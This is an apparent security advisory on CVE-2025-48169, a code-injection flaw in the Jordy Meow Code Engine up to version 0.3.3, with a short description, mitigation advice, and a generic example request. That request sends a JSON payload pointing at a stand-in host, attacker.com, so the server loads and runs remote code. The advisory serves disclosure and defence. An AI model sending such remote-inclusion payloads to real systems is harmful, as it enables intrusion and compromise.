Overview
A severe cybersecurity vulnerability, identified as CVE-2025-48169, has been discovered in the Jordy Meow Code Engine. This vulnerability pertains to an improper control of the generation of code, often referred to as ‘Code Injection.’ This vulnerability is particularly concerning because of its capacity to allow Remote Code Inclusion, thereby enabling attackers to inject malicious code into the system remotely. With a CVSS Severity Score of 9.9, this vulnerability is classified as critical and demands immediate attention from all entities using the Jordy Meow Code Engine up to version 0.3.3.

How the Exploit Works
The exploit takes advantage of an improper control of code generation within the Jordy Meow Code Engine. More specifically, an attacker can exploit this vulnerability by injecting malicious code into the system remotely. This is accomplished via a technique known as Remote Code Inclusion, which allows an attacker to load a remote file from an external server that is executed locally on the target system. This can subsequently lead to unauthorized system access, potential data leakage, and system compromise.
Conceptual Example Code
A conceptual example of how this vulnerability might be exploited is shown below. This example represents a malicious HTTP POST request to a vulnerable endpoint in the Jordy Meow Code Engine.
POST /vulnerable_endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"malicious_payload": "http://attacker.com/malicious_code.js"
}In this example, the malicious code is hosted on attacker.com and is being loaded into the target system via the `malicious_payload` JSON attribute. Once the request is processed by the server, the malicious code is executed locally, compromising the system.
Mitigation Guidance
The recommended mitigation for this vulnerability is to apply the patch provided by the vendor. However, in cases where immediate patching is not feasible, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) may serve as a temporary mitigation, aiding in the detection and prevention of potential exploits. It is also strongly advised to follow best practices relating to secure coding to prevent such vulnerabilities in the first place.
